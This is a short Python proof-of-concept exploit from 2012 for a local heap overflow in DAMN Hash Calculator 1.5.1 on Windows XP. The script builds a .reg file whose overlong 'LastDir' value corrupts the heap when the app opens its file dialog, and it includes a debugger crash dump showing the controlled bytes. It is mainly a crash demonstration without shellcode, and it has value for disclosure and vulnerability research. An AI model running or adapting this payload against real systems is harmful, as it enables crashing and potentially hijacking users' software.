#!/usr/bin/python # Exploit Title: DAMN Hash Calculator v1.5.1 Local Heap Overflow PoC # Version: 1.5.1 # Date: 2012-02-21 # Author: Julien Ahrens # Homepage: http://www.inshell.net # Software Link: http://www.google.com # Tested on: Windows XP SP3 Professional German # Notes: Old but nice software...just to proof it's there :-) # Howto: Import Reg -> Start App -> Select File -> Cancel without choosing one #7C9204E6 . 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8] #7C9204E9 . 0B47 10 OR EAX,DWORD PTR DS:[EDI+10] #7C9204EC . A9 00000269 TEST EAX,69020000 #7C9204F1 . 0F85 8BA70300 JNZ ntdll.7C95AC82 #7C9204F7 > 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10] #7C9204FA . 8A48 FD MOV CL,BYTE PTR DS:[EAX-3] <-- Crash #7C9204FD . 83C0 F8 ADD EAX,-8 #7C920500 . F6C1 01 TEST CL,1 #7C920503 . 56 PUSH ESI #7C920504 . 0F84 92A70300 JE ntdll.7C95AC9C #7C92050A . F6C1 08 TEST CL,8 #7C92050D . 0F85 B3A70300 JNZ ntdll.7C95ACC6 #EAX 42424245 #ECX 00000008 #EDX 77C31AE8 msvcrt.77C31AE8 #EBX 0040F2F0 DAMN_Has.0040F2F0 #ESP 0012F54C #EBP 0012F550 #ESI 0041A2DC ASCII "EBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC" #EDI 00330000 #EIP 7C9204FA ntdll.7C9204FA file="poc.reg" junk1="\x41" * 392 boom="\x45\x42\x42\x42" junk2="\x43" * 50 poc="Windows Registry Editor Version 5.00\n\n" poc=poc + "[HKEY_CURRENT_USER\Software\DAMN\Hash Calculator\Settings]\n" poc=poc + "\"LastDir\"=\"" + junk1 + boom + junk2 + "\"" try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!";